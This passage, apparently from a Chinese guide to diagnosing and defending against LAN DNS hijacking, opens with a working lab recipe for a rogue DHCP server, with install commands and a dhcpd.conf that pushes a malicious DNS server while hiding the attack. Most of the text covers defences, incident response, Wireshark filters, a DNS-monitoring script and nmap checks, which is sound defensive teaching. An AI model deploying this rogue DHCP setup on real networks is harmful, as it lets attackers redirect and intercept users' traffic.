复现手法二部署流氓DHCP服务器这种方法可以让新加入网络的设备自动获得恶意DNS配置。在攻击者机器上操作安装并配置DHCP服务器例如使用isc-dhcp-server。sudo apt update sudo apt install isc-dhcp-server -y编辑DHCP配置文件/etc/dhcp/dhcpd.confsubnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.200 192.168.1.220; option routers 192.168.1.1; # 仍然指向真实网关避免断网引起怀疑 option domain-name-servers 172.31.255.254; # 关键将DNS服务器指向恶意IP option domain-name internal.example.org; default-lease-time 600; max-lease-time 7200; }这里的关键是option domain-name-servers我们将其设置为172.31.255.254。实际上这个IP可能不存在服务所以更真实的攻击会指向一个由攻击者控制的、能提供解析的伪DNS服务器IP如攻击者自身的IP。启动流氓DHCP服务器sudo systemctl stop isc-dhcp-server # 先停止防止冲突 sudo dhcpd -cf /etc/dhcp/dhcpd.conf eth0在受害者机器上验证将受害者的网络连接设置为“自动获取IP地址”DHCP然后断开重连。使用ipconfig /all或cat /etc/resolv.conf查看会发现DNS服务器地址变成了172.31.255.254或你在配置中指定的恶意IP。随后进行的DNS查询都将被这个服务器控制。实操心得在实际复现中为了让实验效果更明显你可以在攻击者机器上真正运行一个DNS服务器软件如dnsmasq并配置它将所有域名解析到172.31.255.254或者将特定域名如www.baidu.com解析到该IP。这样在受害者机器上不仅能从配置中看到异常DNS用nslookup查询时也能看到来自攻击者IP的、包含172.31.255.254的响应。5. 防御策略与根治方案排查和复现是为了更好的防御。针对局域网DNS劫持我们需要构建一个从终端到网络设备的立体防御体系。5.1 终端侧防护使用静态DNS并定期检查对于重要的服务器或固定办公电脑可以考虑手动设置静态IP和DNS指向可靠的内网或公共DNS如114.114.114.114,223.5.5.5。但需注意这无法防御ARP欺骗等链路层劫持。启用防火墙与安全软件保持操作系统和杀毒软件更新它们可以检测并阻止一些已知的恶意软件或网络层攻击行为。定期检查Hosts文件与网络配置养成安全习惯不定期检查Hosts文件是否被修改以及网络适配器中的DNS设置是否异常。使用DNSSEC或DoH/DoTDNSSEC通过数字签名验证DNS响应的真实性能有效防止结果被篡改但需要递归DNS服务器和支持的客户端。DNS over HTTPS (DoH) / DNS over TLS (DoT)将DNS查询通过加密的HTTPS或TLS通道传输可以防止局域网内的窃听和篡改。现代浏览器和操作系统已逐步支持。例如在Firefox中开启DoH可以很大程度上免疫本地的DNS劫持。5.2 网络设备侧加固这是防御局域网内劫持最有效的一环但需要网络管理权限。启用DHCP Snooping在支持的管理型交换机上这是一项关键安全特性。它允许交换机监听DHCP报文并建立一个“DHCP绑定表”记录IP、MAC、端口和租期的对应关系。同时它可以信任特定端口如上联到合法DHCP服务器的端口而在非信任端口如连接用户电脑的端口上拦截DHCP服务器的响应报文从而彻底杜绝流氓DHCP服务器。启用DAI动态ARP检测通常与DHCP Snooping配合使用。DAI会检查ARP报文的合法性只允许“DHCP绑定表”中存在的、合法的IP-MAC对应关系进行ARP广播直接防御ARP欺骗攻击。启用IP Source Guard同样基于DHCP Snooping绑定表它可以在端口上过滤数据包只允许绑定表中该端口对应的源IP地址发出的流量通过防止IP地址欺骗。配置端口安全限制交换机端口上允许学习的MAC地址数量可以防止攻击者接入多台设备或进行MAC泛洪攻击。路由器/防火墙配置关闭不必要的“DNS重定向”、“强制门户”等功能。确保路由器自身的DNS设置正确并且其DHCP服务分发的DNS地址是可靠的。定期更新路由器固件修补已知漏洞。5.3 应急响应与根治步骤当确认发生局域网DNS劫持后应按照以下步骤处理隔离如果可能物理断开或网络隔离你怀疑的攻击源设备根据排查到的异常IP/MAC。清除对于受影响的客户端重启网络连接ipconfig /release ipconfig /renew或dhclient -r dhclient或者手动修复DNS设置为正确的地址。检查并清理Hosts文件。溯源根据ARP表、DHCP日志、交换机MAC地址表定位到具体的物理端口和设备。检查该设备是否感染恶意软件或是否为未经授权的网络设备。加固在网络设备上实施上述防御策略DHCP Snooping, DAI等防止问题复发。审计对全网终端进行安全扫描检查是否还有其他设备被植入恶意软件或存在不当配置。6. 高级排查工具与脚本技巧对于复杂的网络环境或需要长期监控的场景一些高级工具和自制脚本能极大提升效率。6.1 使用Wireshark进行深度流量分析Wireshark不仅是抓包工具其显示过滤器和统计功能是排查利器。过滤DNS异常响应在过滤栏输入dns ip.dst受害者IP dns.flags.response 1可以只看发给受害者的DNS响应包。然后观察dns.a字段IPv4地址记录看是否有大量域名解析到同一个奇怪的IP如172.31.255.254。追踪ARP异常过滤arp然后统计arp.src.hw_mac和arp.src.proto_ipv4。如果发现同一个IP如网关对应多个不同的MAC地址或者同一个MAC地址在宣称自己是多个不同的IP这就是ARP欺骗的铁证。导出对象如果怀疑有恶意软件通过HTTP下载可以使用文件 - 导出对象 - HTTP查看所有传输的文件列表寻找可疑项。6.2 编写自动化监控脚本对于运维人员可以编写简单的脚本定期检查网络健康状态。Python示例定期检测DNS是否被篡改import subprocess import socket import time TRUSTED_DNS 114.114.114.114 TEST_DOMAINS [www.baidu.com, www.taobao.com, www.qq.com] SUSPICIOUS_IP 172.31.255.254 def check_dns(domain, dns_server): try: # 使用nslookup命令解析结果 result subprocess.check_output([nslookup, domain, dns_server], timeout5, stderrsubprocess.STDOUT, textTrue) for line in result.split(\n): if Address in line and # not in line: ip line.split(:)[-1].strip() if ip SUSPICIOUS_IP: return False, ip return True, None except subprocess.TimeoutExpired: return False, timeout except Exception as e: return False, str(e) def main(): while True: print(f\n[{time.strftime(%Y-%m-%d %H:%M:%S)}] 开始DNS健康检查...) for domain in TEST_DOMAINS: # 先用本地配置的DNS查 local_ok, local_result check_dns(domain, ) # 再用可信DNS查 trusted_ok, trusted_result check_dns(domain, TRUSTED_DNS) if not local_ok or SUSPICIOUS_IP in str(local_result): print(f 警告域名 {domain} 解析可能异常。本地结果: {local_result}, 可信结果: {trusted_result}) # 这里可以添加告警逻辑如发送邮件、写入日志文件等 else: print(f 域名 {domain} 解析正常。) time.sleep(300) # 每5分钟检查一次 if __name__ __main__: main()这个脚本会定期用本地DNS和可信DNS解析几个常用域名如果本地解析结果包含可疑IP或与可信结果不一致就发出警告。6.3 利用Nmap脚本引擎进行安全检查Nmap的NSE脚本库提供了大量安全审计脚本。# 扫描常见的网络漏洞和错误配置 sudo nmap -sV --script broadcast-dhcp-discover or dns-recursion or dns-service-discovery 192.168.1.0/24 # 检查DNS服务器是否允许递归查询对外开放的DNS服务器不应允许 sudo nmap -sU -p 53 --script dns-recursion DNS服务器IP这些脚本能帮你快速发现网络中配置不当的DHCP、DNS服务。7. 疑难杂症与排查心法在实际排查中总会遇到一些“诡异”的情况。这里分享几个我踩过的坑和总结的经验。情况一DNS劫持时有时无间歇性发作。可能原因攻击者的工具运行不稳定网络中存在多个DHCP服务器在“打架”客户端偶尔从恶意服务器获取到配置ARP欺骗的包发送频率不高。排查心法在问题发生时立即抓包Wireshark这是捕捉瞬时证据的最佳方法。同时持续运行arp -a或上述监控脚本记录变化。情况二修改本地DNS为114.114.114.114后劫持依然存在。可能原因ARP欺骗导致的链路层劫持。你的DNS查询包在出网卡时就被ARP表误导发给了攻击者机器而不是真正的网关。攻击者拦截了发往114.114.114.114的DNS查询包并伪造了响应。解决方案这证实了是ARP欺骗。必须启用网络侧的DAI防御或在终端做静态ARP绑定治标不治本。情况三只有HTTPS网站打不开HTTP网站正常。可能原因这是一种更“高级”的劫持。攻击者可能没有进行完全的DNS劫持而是实施了SSL剥离SSL Stripping或HTTPS中间人攻击。或者DNS劫持将域名指向了一个没有有效SSL证书的IP如172.31.255.254浏览器因证书错误而中断连接。排查心法仔细查看浏览器报错信息。如果是证书错误NET::ERR_CERT_AUTHORITY_INVALID等很大概率是遭遇了HTTPS中间人攻击。此时检查网络流量和证书链至关重要。情况四排查一切正常但某个特定软件/游戏就是连不上服务器。可能原因该软件可能使用了硬编码的DNS服务器或者使用了自定义的DNS解析逻辑如DoH绕过了系统的DNS设置。也可能它访问的域名被劫持而你的测试域名恰好不在劫持列表里。排查心法使用进程监控工具如Windows的Process Monitor过滤dnsapi.dll相关操作或全局网络抓包看这个软件具体向哪个IP的53端口发送了DNS查询。终极心法保持怀疑交叉验证。不要相信单一工具或单一现象。用nslookup、dig、浏览器、不同设备、不同网络进行交叉测试。将Wireshark抓包作为“终极裁判”它能告诉你网络上真实流动的每一个比特。局域网DNS劫持虽然烦人但只要理清思路由近及远从现象到本质总能拨开迷雾找到那个隐藏在角落里的“捣蛋鬼”。
)
